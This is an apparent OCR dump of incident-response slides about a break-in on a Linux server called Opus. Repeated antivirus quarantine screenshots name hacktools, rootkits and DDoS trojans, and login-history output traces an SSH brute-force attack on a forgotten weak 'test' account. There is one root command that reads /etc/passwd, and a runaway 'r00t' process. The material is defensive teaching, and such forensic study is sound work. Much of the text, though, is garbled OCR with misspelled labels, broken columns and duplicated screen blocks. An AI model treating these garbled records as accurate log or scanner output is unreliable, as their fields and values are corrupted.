Hacktool. Rootkit - Resclved - Ngu Action Required
- - : Restore ptions
@ High detected by Virus Cuarantined 5:55.12 AM
scanmer
¥496 contained threat
® Hich Hacktool detected Quarantined 772372016 H I::J “;J. tkit
9 by Virus scanner 5:55:11 AM acktool.hoo
Trojan Horse - = FRisk
: : . 7/23/2016 = .
@ High detected by Virus Quarantined 5:55.11 AM High
scanmer
Troian H ﬁ Origin
- drC;_larl dD:E%,-" o e 7/23/2016 Mot Available
ig etected by Virus uarantine 5:55:11 AM
sCanner F Activity
_ Hacktool detectad ~ 7/23/2016 Threat Actions performed: 1

Go to Page:g Go

v Norton

|I| Page 1ofé |I|

More Options

mport  Export Add to Quarantine Clear Entries Close
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. . — 0O X
Security History [z
Show | Quarantine - 3 | Quick Search Go
Severity Activity Status Date & Time - Details
I IGUALAU L WL L 7 II..
@ High detected by Virus Quarantined SESB'IEED;.?U'I B
ccanner e Recommended Action
Hacktool Rootkit ot Resclved - Ngu Action Required
: i : 1ieaf Restore ptions
@ High detected by Virus Cuarantined 5.55.12 AM
scanmer
c contained threat
P Hacktool detected (. 7/23/2016 ﬁ' ool
9 by Virus scanner 5:55:11 AM e iy
Trojan Horse - = FRisk
: : . 7/23/2016 = .
@ High detected by Virus Cuarantined 5.55:11 AM High
scanmer
Troian H ﬁ Origin
- drC;_larl dD:E%,-" o e 7/23/2016 Mot Available
ig etected by Virus uarantine 5:55:11 AM
scanmer F Activity
_ Hacktool detectad ~ 7/23/2016 Threat Actions performed: 1

Go to Page:g Go

v Norton

|I| Page 1ofé |I|

More Options

mport  Export Add to Quarantine Clear Entries Close
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. . — 0O X
Security History [z
Show Cuarantine - ¥ | Quick Search Go
Severity Activity Status Date & Time - Details
[ [~ LS N NI PR T LR N _|'| II..
@ High detected by Virus CQuarantined SEE?'IEED;.?U'I .
ccanner e Recommended Action
Hacktool Rootkit R Resclved - Ngu Action Required
) e . Ifeaf Restore ptions
@ High detected by Virus CQuarantined 5.55.12 AM
SCAMNEr
re123 contained threat
® Hich Hacktool detected Quarantined T/23/2016 _F;_ . L:I =
9 by Virus scanner 5:55:11 AM rojan Horse
Trojan Horse = FRisk
i : : T/23/2016 || .
@ High detected by Virus Cuarantined 5:55.11 AM H|gh
scanner
Troian H ﬁ Origin
- drC;_larl dD:E%,-" o e 7/23/2016 Mot Available
ig etected by Virus uarantine 5:55:11 AM
sCanner F Activity
_ Hacktool detectad ~ 7/23/2016 Threat Actions performed: 1

Go to Page:g Go

v Norton

|I| Page 1ofé |I|

More Options

mport  Export Add to Quarantine Clear Entries Close
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i - — 0O X
Security History [z
Show | Quarantine - £ | Quick Search Go
Severity Activity Status Date & Time -~ Details
. Hacktool detected . /2372018 .
@ High by Virus scanner Quarantined 5:55:11 AM . Recommended Action
Resclved - Mo Action Required
Trojan Horse - o - i
) ) ) 7/23/2016 Restore Options
® High detected by Virus Cuarantined 5:55:11 AM
scanmer ] ]
woot-exploit.c contained th...
Trc:jan Horse Trojan Horse
: - . /23,2016 ]
@ High detected by Virus Quarantined 5:55:11 AM
scanmer — Risk
P Hacktool detected 7/23/2016 — High
9 by Virus scanner 5:55:11 AM
ﬁ Origin
: Hacktool detected . 742372016 Mot Available
® High by Virus scanner Quarantined 5:55:11 AM
_ F Activity
- e 7/23/2016 Threat Actions performed: 1
Go to Page:g Go [«] Page 1ofé [+] More Options
fﬂm mport  Export Add to Quarantine Clear Entries Close
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o — 0 x
Security History [z
Show | Quarantine - £ | Quick Search Go
Severity Activity Status Date & Time -~ Details
. Hacktool detected . /2372018 .
@ High by Virus scanner Quarantined 5:55:11 AM . Recommended Action
Resclved - Mo Action Required
Trojan Horse - o - i
) ) ) 7/23/2016 Restore Options
® High detected by Virus Cuarantined 5:55:11 AM
scanmer ]
wu contained threat
R Lmt-'a”t Tﬁu vorantined 7/23/2016 Hacktool
ig etected by Virus uarantine 5:55:11 AM
scanmer — Risk
_ Hacktool detected . 7/23/2016 — High
® High by Virus scanner L 5:55:11 AM
ﬁ Origin
: Hacktool detected . 742372016 Mot Available
® High by Virus scanner Quarantined 5:55:11 AM
_ F Activity
- e 1/23/2016 Threat Actions performed: 1
Go to Page:g Go [«] Page 1ofé [+] More Options
fﬂm mport  Export Add to Quarantine Clear Entries Close
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o — 0 x
Security History [z
Show | Quarantine - £ | Quick Search Go
Severity Activity Status Date & Time -~ Details
. Hacktool detected . /2372018 .
@ High by Virus scanner Quarantined 5:55:11 AM . Recommended Action
Resclved - Mo Action Required
Trojan Horse - o - i
) ) ) 7/23/2016 Restore Options
® High detected by Virus Cuarantined 5:55:11 AM
scanmer ]
tryfipd contained threat
R Lmt-'a”t Tﬁu vorantined 7/23/2016 Hacktool
ig etected by Virus uarantine 5:55:11 AM
scanmer — Risk
. Hacktool detected . 7/23/2016 — High
® High by Virus scanner Quarantined 5:55:11 AM
ﬁ Origin
® bich Hacktool detected Quarantined T/23/2016 Mot Available
9 by Virus scanner 5:55:11 AM
_ F Activity
- e 7/23/2016 Threat Actions performed: 1
Go to Page:g Go [«] Page 1ofé [+] More Options
fﬂm mport  Export Add to Quarantine Clear Entries Close
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i . — 0O X
Security History [z
Show | Quarantine - 3 Quick Search Go
Severity Activity Status Date & Time - Details
o by Virus scanner T 5:55:11 AM
® Lioh Hackiool detected Quarantined 7/23/20186 | Recommended Action
9 by Virus scanner 5:55:11 AM Resclved - No Action Required
; Restore  Options
_ Trojan Horse _ . 7/22/2016
@ High detected by Virus Quarantined
53:55:11 AM .
scanner pred contained threat
. Trojan Horse
Trojan Horse 7/23/2016
@ High S:;:T.:rd by Virus CQuarantined 5:55.11 AM — Rick
= High
: LinuxRST.B detected : 742372016
® High by Virus scanner Quarantined 5:55:10 AM ﬁ Origin
e DDoS S Mot Available
. MSE
@ High dlgtiitedi:-w‘-,-'in:seam Quarantined [/23/2016 Activi
’ 5:55:10 AM [ Activity
scanner Threat Actions performed: 1
Go to Page:g Go [«] Page 1ofé [+] More Options
fﬂm mport  Export Add to Quarantine Clear Entries Close
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i - — 0O X
Security History [z
Show | Quarantine - £ Quick Search Go
Severity Activity Status Date & Time - Details
o by Virus scanner T 5:55:11 AM
® Lioh Hackiool detected Quarantined 7/23/20186 | Recommended Action
9 by Virus scanner 5:55:11 AM Resclved - No Action Required
Trojan Horse 772372016 Restore _ Options
@ High detected by Virus Quarantined R
5:55:11 AM R
scanner forcer.c contained threat
) Trojan Horse
Trojan Horse 7/22/2016
@ High S:;:::rd by Virus Quarantined 5:55.11 AM — Rick
= High
: LinuxRST.B detected : 742372016
® High by Virus scanner Quarantined 5:55:10 AM ﬁ Origin
e DDoS S Mot Available
. MSE
@ High dlgtiitedi:-w‘-,-'in:seam Quarantined [/23/2016 Activi
’ 5:55:10 AM & Actity
scanmer Threat Actions performed: 1
Go to Page:g Go [«] Page 1ofé [+] More Options
fﬂm mport  Export Add to Quarantine Clear Entries Close
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i . — 0O X
Security History [z
Show | Quarantine - 3 Quick Search Go
Severity Activity Status Date & Time -~ Details
- by Virus scanner e 5:55:11 AM
® Lk Hackiool detected o 7/23/2016 Recommended Action
9 by Virus scanner 5:55:11 AM Resclved - No Action Required
Trojan Horse 772372016 Restore _ Options
@ High detected by Virus Quarantined 555;11 AM
scanner o -bash contained threat
: Linux.RST.B
Trojan Horse 2/53/9016
@ High S:;:T.:rd by Virus CQuarantined 5.55.11 AM — Risk
= High
; Linux.RST.E detected . T7/23/2016
R by Virus scanner Sl 5:55:10 AM ﬁ Origin
) Mot Available
@ High ;';iiﬁgﬁﬂi::am Cuarantined [/23/2016 i
J ! 5:55:10 AM [ Activity
scanner Threat Actions performed: 1
Go to Page:g Go [«] Page 1ofé [+] More Options
fﬂm mport  Export Add to Quarantine Clear Entries Close
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. . — O X
Security History [z
Show | Quarantine - 3 Quick Search Go
Severity Activity Status Date & Time -~ Details
- by Virus scanner e 5:55:11 AM
® Lk Hackiool detected o 7/23/2016 Recommended Action
9 by Virus scanner 5:55:11 AM Resclved - No Action Required
Trojan Horse 772372016 Restore _ Options
@ High detected by Virus Quarantined R
5:55:11 AM .
scanner ¥4 contained threat
: Linux.DDo5.M5tream
Trojan Horse 2/53/9016
@ High S:;:T.:rd by Virus CQuarantined 5.55.11 AM — Risk
= High
: LinuxRST.B detected : 742372016
® High by Virus scanner Quarantined 5:55:10 AM ﬁ Origin
S ——— Mot Available
inuw.DDo5.M5tream
: - . T1/23/2016
@ High detected by Virus Quarantined 5:55:10 AM F Activity _
SEancY Threat Actions performed: 1
Go to Page:g Go [«] Page 1ofé [+] More Options
fﬂm mport  Export Add to Quarantine Clear Entries Close
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S — O X
Security History [z
Show | Quarantine - £ Quick Search Go
Severity Activity Status Date & Time -~ Details
L e 7 i
@ High detected by Virus Cuarantined SESBEDEI;.E
scanner o Recommended Action
o Hacktool detected P 7/23/2016 . F‘:ESDIVE::I - Mo Action Required
9 by Virus scanner 5:55:10 AM Restore  Options
: Hacktool detected . /2372016 _ _
@ High by Virus scanner CQuarantined 5:55:10 AM ssh contained threat
Hacktool
! Hacktool detectad . 7/23/2016
® High by Virus scanner Quarantined 5:55:10 AM = Risk
LinweDDoS.MStream 215372016 T ngh
® High S:;:-.r::rd by Virus Cuarantined 5:55:10 AM ﬁ Origin
Mot Available
! Hacktool detected : 7/23/2016
® High by Virus scanner Quarantined 5:55:10 AM P‘ Activity
Threat Actions performed: 1
Go to Page:g Go [«] Page 1ofé [+] More Options
fﬂm mport  Export Add to Quarantine Clear Entries Close
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S — O X
Security History [z
Show | Quarantine - £ Quick Search Go
Severity Activity Status Date & Time -~ Details
L e 7 i
@ High detected by Virus Cuarantined SESBEDEI;.E
scanner o Recommended Action
® ih Hacktool detected (. 23206 M Resolved - No Action Required
9 by Virus scanner 5:55:10 AM Restore  Options
: Hacktool detected . 72372016 T
@ High B CQuarantined 5:55.10 AM scanssh contained threat
Hacktool
. Hacktool detected . /2372018
® High by Virus scanner Quarantined 5:55:10 AM = Risk
LinweDDoS.MStream 215372016 ngh
® High S:;:-.r::rd by Virus Cuarantined 5:55:10 AM ﬁ Origin
Mot Available
: Hacktool detected . /2372016
® High by Virus scanner Quarantined 5:55:10 AM P‘ Activity
Threat Actions performed: 1
Go to Page:g Go [«] Page 1ofé [+] More Options
fﬂm mport  Export Add to Quarantine Clear Entries Close
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i - — 0O X
Security History [z
Show | Quarantine - £ Quick Search Go
Severity Activity Status Date & Time - Details
L e 7 i
@ High detected by Virus Cuarantined SESBEDEI;.E
scanner o Recommended Action
® ih Hacktool detected (. 23206 M Resolved - No Action Required
9 by Virus scanner 5:55:10 AM Restore  Options
: Hacktool detected . /2372016 P _
® High by Virus scanner Quarantined 5:55:10 AM S
Hacktool
: Hacktool detected . 72372016
A5l by Virus scanner REeERiE 5:55:10 AM = Risk
LinweDDoS.MStream 215372016 ngh
® High S:;:-.r::rd by Virus Cuarantined 5:55:10 AM ﬁ Origin
Mot Available
: Hacktool detected . /2372016
® High by Virus scanner Quarantined 5:55:10 AM P‘ Activity
Threat Actions performed: 1
Go to Page:g Go [«] Page 1ofé [+] More Options
fﬂm mport  Export Add to Quarantine Clear Entries Close
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i . O X
Security History [z
Show | Quarantine - 3 Quick Search Go
Severity Activity Status Date & Time - Details
77237
® Hich I—ack.‘tc:-c:-l detected Quarantined 7/23/2016
by Virus scanner 5:55:10 AM Recommended Action
: Hacktool detected . T/23/2016 Resolved - No Action Required
® High by Virus scanner Quarantined 3:55:10 AM . Restore  Options
: Hacktool detected . /2372018
® High by Virus scanner Quarantined 5:55:10 AM X3 contained threat
e DD MG Linux.DDoS.MStream
inux.DDoS.MStream
. - . 7/23/2016
@ High detected by Virus Quarantined 5:55.10 AM = Risk
scanmer = u:
High
! Hacktool detected : 7/23/2016
® High by Virus scanner Quarantined 5:55:10 AM ﬁ Origin
_ Mot Available
. Fack‘tDDLRGGt.klt . 7/23/2016 -
@ High detected by Virus Cuarantined 5:55.10 AM F Activity
scanner o Threat Actions performed: 1

Go to Page:g

v Norton

Go [«] Page 1of& [+]

More Options

mport  Export Add to Quarantine Clear Entries Close
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i - — 0O X
Security History [z
Show | Quarantine - £ Quick Search Go
Severity Activity Status Date & Time - Details
77237
® Hich I—ack.‘tc:-c:-l detected Quarantined 7/23/2016
by Virus scanner 5:55:10 AM Recommended Action
: Hacktool detected . T/23/2016 Resolved - No Action Required
® High by Virus scanner Quarantined 3:55:10 AM . Restore  Options
: Hacktool detected . /2372018
® High by Virus scanner Quarantined 5:55:10 AM trylpd contained threat
e DD S Hacktool
@ High dlgtk;iltedlzglf‘-,-'irdseam Cuarantined 1/23/2016 :
ccanmer ! 35510 AM = Risk
= High
: Hacktool detected : /2372016
LSBT by Virus scanner el 5:55:10 AM ﬁ Origin
_ Mot Available
. Fack‘tDDLRGGt.klt . 7/23/2016 -
@ High detected by Virus Cuarantined 5:55.10 AM F Activity
scanner o Threat Actions performed: 1

Go to Page:g

v Norton

Go [«] Page 1of& [+]

More Options

mport  Export Add to Quarantine Clear Entries Close
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i . O X
Security History [z
Show | Quarantine - ¥ | Quick Search Go
Severity Activity Status Date & Time - Details
7123/
Y i )
! o Recommended Action
Hacktool Rootkat Resolved - No Action Required
] : _ 7/23/2016 esolve o Action Reguire
@ High detected by Virus Quarantined 5:55:10 AM . Rectare Options
scanner
- ll.' L - m
® High Fackjool detected Quarantined 1/23/2016 |pdx contained threat
by Virus scanner 3:35:10 AM Hacktool.Rootkit
Trojan Horse 3 .
@ High detected by Virus Quarantined [/zz/201e = Risk
35510 AM = High
scanner g
Linux.DDo5.MStream , Origin
: : : 7/23/2016 9
@ High detected by Virus Quarantined 5:55:10 AM ﬁ Mot Available
scanner
. F Activity
winbox-vZ2.exe Threat Actions performed: 1
AT Domma s dimas 1% [ W T T T

Go to Page:g

v Norton

Go |I| Page 1of& |I|

More Options

mport  Export Add to Quarantine Clear Entries Close
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i . — 0O X
Security History [z
Show | Quarantine - ¥ | Quick Search Go
Severity Activity Status Date & Time - Details
7/23/
e
! o Recommended Action
Hacktool Rootkit 7/23/2016 Resolved - No Action Required
@ High detected by Virus Cuarantined S [ | -
¥ 5:55:10 AM Restore Options
scanner
® High Hack.tc:-c-l detected Quarantined T1/23/2016 find contained threat
by Virus scanner 5:55:10 AM Hacktool
Trojan Horse 3 .
@ High detected by Virus Quarantined [/zz/201e = Risk
35510 AM = High
scanner g
Linux.DDo5.MStream , Origin
: : : 7/23/2016 9
@ High detected by Virus Quarantined 5:55:10 AM ﬁ Mot Available
scanner
. F Activity
winbox-vZ2.exe Threat Actions performed: 1
AT Domma s dimas 1% [ W T T T

Go to Page:g

v Norton

Go |I| Page 1of& |I|

More Options

mport  Export Add to Quarantine Clear Entries Close
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i . — 0O X
Security History [z
Show | Quarantine - 3 | Quick Search Go
Severity Activity Status Date & Time - Details
7/23]
Y i )
! o Recommended Action
Hacktool Rootkit - Resolved - No Action Required
@ High detected by Virus Quarantined 1/23/2016 o
J ! 5:55:10 AM . Restore  Options
scanner
- ll.' -1 O
® High I—ack.‘tc-c-l detected Quarantined 1/23/2016 lpd1 contained threat
by Virus scanner 5:55:10 AM Trojan Horse
Trojan Horse .
@ High detected by Virus CQuarantined LR AL = Risk
3:535:10 AM = High
scanner g
Linux.DDo5.MStream , Origin
: : : 7/23/2016 9
@ High detected by Virus Quarantined 5:55:10 AM ﬁ Mot Available
scanner
. F Activity
winbox-vZ2.exe Threat Actions performed: 1
AT Domma s dimas 1% [ W T T T

Go to Page:g

v Norton

Go |I| Page 1of& |I|

More Options

mport  Export Add to Quarantine Clear Entries Close
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i - O X
Security History [z
Show | Quarantine - £ Quick Search Go
Severity Activity Status Date & Time - Details
7/23/
Y i )
! o Recommended Action
Hacktool Rootkit - Resolved - No Action Required
@ High detected by Virus Quarantined /232016 o
J ! 5:55:10 AM . Restore  Options
scanner
T I +7 o H—— -
® High I—ack.‘tc-c-l detected Quarantined 7/23/2016 x2 contained threat
by Virus scanner 3:35:10 AM Linux.DDoS.MStream
Trojan Horse 3 .
@ High detected by Virus Quarantined [/zz/201e = Risk
5:55:10 AM = High
scanner g
Linux.DDo5.MStream Origin
! : : 7/23/2016 9
@ High detected by Virus Quarantined 5:55:10 AM ﬁ Mot Available
scanner
. F Activity
winbox-v2.exe Threat Actions performed: 1
AT Domma s dimas 1% [ W T T T
Go to Page:g Go [«] Page 1ofé [+] More Options
fﬂm mport  Export Add to Quarantine Clear Entries Close
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Who is that logged into Opus?

R S A A g dh g dE g dh db S db Sb g db  db (2b  9b Ib Ib Sb Ih Ib Ib Sb b b b b Ib b b b b b b b b b b b b b b b b b b b b b 2 i b S g db g S 2 dh g S g db db  db db b4

This test user session looked very suspicious. Not only did it not match
the 33nnn account naming conventions but it appeared to originate in Spain!
(es = Espana)

R S g A g dh g dE g db db S db Sb g db dh (Sh  Sb Ib Ib Sb Ih Ib Ib Sb Ib b Ib b Ib b b (b b b b b b b b b b b b b b b b b b b b 2 S S g db g S I 2 g S dh g db g db b4

[rsimms@opus 1ab01]$ who
rsimms pts/1 2011-11-02 20:47 (dsl-74-220-66-39.dhcp.cruzio.com)
test pts/2 2011-11-02 17:09 (130.15.18.95.dynamic.jazztel.es)

[rsimms@opus 1ab01]$

Espana (Spain)
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n

IP Details for 95.18.15.130

[rsimms@opus-1ii ~]$ host 130.15.18.95.dynamic.jazztel.es
130.15.18.95.dynamic.jazztel.es has address 95.18.15.130
[rsimmsQopus—-ii ~]1$

Note that IP address
is shown in reverse

Organization:

Longitude:
Postal Code:

Jazz Telecom S.A.

-6.9706 (B6° 58" 14.16" W)
06002

Blacklist Status

2 dnshbl.antispam.or.id
& dnshl justspam.org

@ recent dnsbl.sorbs.net
2 relays.mail-abuse.org
2 rsbl.aupads.org

& smip.dnsbl.sorbs. net

@ spam.dnshl.sorbs.net
2 spamguard.leadmon.net

@ exitnodes tor.dnsbl sectoor.de

© weh.dnsbl sorbs net

@ Zen.spamhaus.org
2 dnsblinps.de

order in hostname

dnsbl.dronebl.org
dnsbl kempt.net

g
&
o
@
&
&
g
&
&
Services: None detected © dnshl sorbs.net @ dnsbl tornevall.org
) ' dnshl-1.uceprotect net & duinv.aupads.org
T‘,"DE. M @ dnshl-2.uceprotect net @ dnshl-3.uceprotect net
Assianment D:,mamic |P © dul.dnsbl sorbs net © gscalations.dnsbl sorbs net
B @ hil habeas.com @ black junkemailfilter.com
Blacklist: © hitp.dnsbl.sorbs net @ intruders.docs.uu.se
. @ ips backscatterer.org @ korea services.net
CDI"ItII"IEﬂTZ EUFDDE 0 12.apews.org @ mail-abuse blacklist jippg.org
Country- Spain = G misc.dnsbl sorbs.net G msgid.bl.gweep.ca
° 2 new.dnsbl.sorbs.net 2 no-more-funn.moensted.dk
State/Region: Badajoz @ old.dnsbl.sorbs.net & ppm.torevall.org
) . ' pbl.spamhaus.org @ proxy.bl.gweep.ca
CIWZ Badajc-z 2 psbl.surriel.com 2 p=s.spambusters.org.ar
Latitude: 38.8779 (38° 52' 40.44" N) @ rbl.schulte org z rbl.snark net

relays.bl.gweep.ca

2 relays.nether net

@ shl.spamhaus.org

@ socks dnsblsorbs.net
2 spam.olsentech.net

2 spamsources.fabel dk
© ubl.unsubscore.com

@ xbl.spamhaus.org

© zombie dnsbl sorbs.net

W bl mailspike.net

Details for 95.18.15.130 @ access.redhawk.org @ all.s5h.net )
9 b.barracudacentral.org @ bl.spameannibal.org 2 = |P Mot Listed (Good!)
|PZ 95_1 8.15.130 ' bl.spamcop.net bl tiopan.com T . !
. blackholes.wirehub.net blacklist.sci_kun.nl G = |P Listed (B'ﬂd']
Decimal: 15695019138 9 block dnsbl. sorbs net blocked.hill.di % = Blacklist Timeout Error
. P @ bogons.cymru.com dnsbl.spfbl.net S _ . .
Hostname: 130.15.18.95 . dynamic jazziel es & colabuseat or chlless, anti-spam.org.cn W' = Blacklist Offline
ASM 12715 @ dev.null.dk dialup.blacklist jippg.org
) 2 dialups.mail-abuse.org dialups.visi.com
|SP- Orange Espana @ dnsbl.abuse.ch dnsbl.anticaptcha.net
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test account

e S A A g 2 g db g dh db  Sb db dh g db db  dh  db Ib Ib Sb Ih Ib Ib Sb Sb b Ib Ib Sb I b b b b b b b b b b b b b b b b b b b b b i b b S g b g g b 2 d S S g dh g db g4

It matched an account in the cisl72 directory.
R A A A 2 g dE g dh db S db dh g db db (dh  db \Ib Ib Sb Ih Ib Ib \Sh Sb b Sb (Ib Ib b Ib b I b b b b b b b b b b b b b b b i b b b 2 b g S g db d S b 2 2 S dh g dh g db g4

[root@opus break-in-2011-11-02]1# cat /etc/passwd | grep test
test:x:1102:1102::/home/cisl72/testuser:/bin/bash

A practice account with a weak password
had been created and never deleted.
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last and lastb login history

[root@opus ~]# last | grep test

test pts/2 130.15.18.95.dyn Wed Nov 2 17:09 still logged in

test pts/1 130.15.18.95.dyn Wed Nov 2 17:07 - 17:09 (00:02)

[root@opus ~]# The last
[root@opus ~]# lastb | grep test command
test ssh:notty mail.naujawani.c Mon Oct 31 09:13 - 09:13 (00:00) shows

test ssh:notty 190.12.37.90 Sun Oct 30 13:14 - 13:14 (00:00) successful
test ssh:notty 72.55.148.230 Sat Oct 29 00:59 - 00:59 (00:00) . .

test ssh:notty  119.188.7.143  Mon Oct 24 17:48 — 17:48 (00:00) login history
test ssh:notty 91.14.18.95.dyna Wed Oct 19 15:10 - 15:10 (00:00) and lastb
test ssh:notty 91.14.18.95.dyna Wed Oct 19 15:10 - 15:10 (00:00) shows failed
test ssh:notty 91.14.18.95.dyna Wed Oct 19 15:10 - 15:10 (00:00) : :

test ssh:notty 91.14.18.95.dyna Wed Oct 19 15:10 - 15:10 (00:00) /Ogln hlstory.
test ssh:notty 91.14.18.95.dyna Wed Oct 19 15:09 - 15:09 (00:00)

test ssh:notty 147.213.138.201 Sun Oct 2 05:04 - 05:04 (00:00) Test had
test ssh:notty 147.213.138.201 Sun Oct 2 05:04 - 05:04 (00:00) /ogged in
pre-test ssh:notty 10.64.25.2 Wed Sep 28 14:53 - 14:53 (00:00) twice
pre-test ssh:notty 10.64.25.2 Wed Sep 28 14:52 - 14:52 (00:00)

pre-test ssh:notty 10.64.25.2 Wed Sep 28 14:52 - 14:52 (00:00) successfu//y
test ssh:notty 81.18.148.190 Thu Sep 22 20:29 - 20:29 (00:00) after many
test ssh:notty 81.18.148.190 Thu Sep 22 20:29 - 20:29 (00:00) fa//ed

test ssh:notty 92.48.118.197 Thu Sep 15 03:13 - 03:13 (00:00)

test ssh:notty  92.48.118.197  Thu Sep 15 03:13 - 03:13 (00:00) attempts.
test ssh:notty 114.207.113.14 Sun Sep 11 21:35 - 21:35 (00:00)

test ssh:notty 114.207.113.14 Sun Sep 11 21:35 - 21:35 (00:00)

test ssh:notty 114.207.113.14 Sun Sep 11 18:53 - 18:53 (00:00)

test ssh:notty 114.207.113.14 Sun Sep 11 18:53 - 18:53 (00:00)
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lastb failed login history (continued)

test ssh:notty 108.59.5.19 Fri Jul 22 18:24 - 18:24 (00:00)
test ssh:notty 108.59.5.19 Fri Jul 22 18:24 - 18:24 (00:00)
test ssh:notty 118.34.131.174 Fri Jul 8 16:12 - 16:12 (00:00)
test ssh:notty 118.34.131.174 Fri Jul 8 16:12 - 16:12 (00:00)
test ssh:notty rsl19190.rapidspe Mon Jun 27 12:03 - 12:03 (00:00)
test ssh:notty rsl19190.rapidspe Mon Jun 27 12:03 - 12:03 (00:00)
test ssh:notty isis.s6.coopenet Mon Jun 20 03:10 - 03:10 (00:00)
test ssh:notty isis.s6.coopenet Mon Jun 20 03:10 - 03:10 (00:00)
test ssh:notty 173-13-131-243-s Sun Jun 12 12:03 - 12:03 (00:00)
test ssh:notty 173-13-131-243-s Sun Jun 12 12:03 - 12:03 (00:00)
root ssh:notty wv-test2.waveclo Fri Jun 3 18:32 - 18:32 (00:00)
root ssh:notty wv-test2.waveclo Fri Jun 3 18:32 - 18:32 (00:00)
root ssh:notty wv-test2.waveclo Fri Jun 3 18:32 - 18:32 (00:00)
7778 t”1jte test ssh:notty 72.46.137.86 Mon May 30 10:33 - 10:33 (00:00)
force attack test ssh:notty 72.46.137.86 Mon May 30 10:33 - 10:33  (00:00)
StarteC1ir7 test ssh:notty 211.254.130.122 Mon May 30 02:37 - 02:37 (00:00)
test ssh:notty 211.254.130.122 Mon May 30 02:37 - 02:37 (00:00)
February testl ssh:notty 211.254.130.122 Mon May 30 02:37 - 02:37 (00:00)
and ended in testl ssh:notty 211.254.130.122 Mon May 30 02:37 - 02:37 (00:00)
testl23 ssh:notty 202.117.54.131 Tue May 24 13:49 - 13:49 (00:00)
November testl23 ssh:notty 202.117.54.131 Tue May 24 13:49 - 13:49 (00:00)
testuser ssh:notty 202.117.54.131 Tue May 24 13:49 - 13:49 (00:00)
testuser ssh:notty 202.117.54.131 Tue May 24 13:49 - 13:49 (00:00)
test ssh:notty 184.82.98.199 Mon May 9 02:06 - 02:06 (00:00)
test ssh:notty 184.82.98.199 Mon May 9 02:06 - 02:06 (00:00)
test ssh:notty 109.123.126.188 Mon May 2 05:12 - 05:12 (00:00)
test ssh:notty 109.123.126.188 Mon May 2 05:12 - 05:12 (00:00)
testuser ssh:notty zulu635.startded Sat Apr 30 13:33 - 13:33 (00:00)
testuser ssh:notty zulu635.startded Sat Apr 30 13:33 - 13:33 (00:00)
test4 ssh:notty zulu635.startded Sat Apr 30 12:26 - 12:26 (00:00)
test4 ssh:notty zulu635.startded Sat Apr 30 12:26 - 12:26 (00:00)
test3 ssh:notty zulu635.startded Sat Apr 30 12:23 - 12:23 (00:00)
test3 ssh:notty zulu635.startded Sat Apr 30 12:23 - 12:23 (00:00)
test?2 ssh:notty zulu635.startded Sat Apr 30 12:20 - 12:20 (00:00) 7()
test?2 ssh:notty zulu635.startded Sat Apr 30 12:20 - 12:20 (00:00)
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lastb failed login history (continued)

testl ssh:notty zulu635.startded Sat Apr 30 12:12 - 12:12 (00:00)

testl ssh:notty zulu635.startded Sat Apr 30 12:12 - 12:12 (00:00)

test ssh:notty zulu635.startded Sat Apr 30 12:09 - 12:09 (00:00)

test ssh:notty zulu635.startded Sat Apr 30 12:09 - 12:09 (00:00)

test ssh:notty zulu635.startded Sat Apr 30 12:06 - 12:06 (00:00)

test ssh:notty zulu635.startded Sat Apr 30 12:06 - 12:06 (00:00)

test ssh:notty 85.11.183.149 Fri Apr 22 18:55 - 18:55 (00:00)

test ssh:notty 85.11.183.149 Fri Apr 22 18:55 - 18:55 (00:00)

test ssh:notty 85.11.183.149 Fri Apr 22 14:39 - 14:39 (00:00)

test ssh:notty 85.11.183.149 Fri Apr 22 14:39 - 14:39 (00:00)

teste ssh:notty 65.111.174.6 Fri Mar 25 06:03 - 06:03 (00:00)

The brute teste sshinotty 65.111.174.6 Fri Mar 25 06:03 - 06:03 (00:00)
force attaCk teste ssh:notty 204.188.208.90 Wed Mar 23 12:01 - 12:01 (00:00)
. teste ssh:notty 204.188.208.90 Wed Mar 23 12:01 - 12:01 (00:00)

started in teste ssh:notty 204.188.208.90 Wed Mar 23 12:01 - 12:01 (00:00)
February teste ssh:notty 204.188.208.90 Wed Mar 23 12:01 - 12:01 (00:00)
. test ssh:notty vzl-164.netfirms Fri Mar 11 06:32 - 06:32 (00:00)

and ended n test ssh:notty vzl-164.netfirms Fri Mar 11 06:32 - 06:32 (00:00)
November test ssh:notty 174.137.57.11 Sat Mar 5 21:02 - 21:02 (00:00)
test ssh:notty 174.137.57.11 Sat Mar 5 21:02 - 21:02 (00:00)

test ssh:notty 85.25.144.24 Thu Mar 3 16:01 - 16:01 (00:00)

test ssh:notty 85.25.144.24 Thu Mar 3 16:01 - 16:01 (00:00)

test ssh:notty 208.116.36.170 Mon Feb 28 12:00 - 12:00 (00:00)

test ssh:notty 208.116.36.170 Mon Feb 28 12:00 - 12:00 (00:00)

test ssh:notty nsc209.177.229-7 Sun Feb 20 09:25 - 09:25 (00:00)

test ssh:notty nsc209.177.229-7 Sun Feb 20 09:25 - 09:25 (00:00)

test ssh:notty 123.13.201.202 Mon Feb 14 13:26 - 13:26 (00:00)

test ssh:notty 123.13.201.202 Mon Feb 14 13:26 - 13:26 (00:00)

testl ssh:notty 123.13.201.202 Mon Feb 14 13:26 - 13:26 (00:00)

testl ssh:notty 123.13.201.202 Mon Feb 14 13:26 - 13:26 (00:00)

test ssh:notty 8.7.128.200 Fri Feb 11 17:30 - 17:30 (00:00)

test ssh:notty 8.7.128.200 Fri Feb 11 17:30 - 17:30 (00:00)
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top processes

top - 21:03:06 up 63 days, 2:51, 2 users, 1load average: 2.00, 2.04, 2.00
Tasks: 112 total, 4 running, 108 sleeping, 0 stopped, 0 zombie

Cpu(s): 6.6%us, 16.9%sy, 0.0%ni, 0.0%id, 0.0%wa, 0.0%hi, 76.4%si, 0.0%st
Mem: 1035140k total, 906456k used, 128684k free, 95116k buffers
Swap: 2097144k total, 248k used, 2096896k free, 880306k cached
PID USER PR NI VIRT RES SHR S %$CPU $SMEM TIME+ COMMAND
30002 test 25 0O 1544 424 356 R 97.1 0.0 197:37.40 r00t
22608 apache 15 0 26388 12m 3848 S 3.0 1.3 1:04.27 httpd
31446 rsimms 15 0 2320 1020 800 R 0.3 0.1 0:00.13 top
1 root 15 0 2072 608 524 5 0.0 0.1 0:03.75 init
2 root RT -5 0 0 0s 0.0 0.0 0:00.00 migration/0
3 root 34 19 0 0 0OR 0.0 0.0 0:02.80 ksoftirgd/O0
4 root RT -5 0 0 0SsS 0.0 0.0 0:00.00 watchdog/0
5 root 10 -5 0 0 0SsS 0.0 0.0 0:00.35 events/0
6 root 10 -5 0 0 0s 0.0 0.0 0:00.00 khelper
7 root 20 -5 0 0 0s 0.0 0.0 0:00.00 kthread
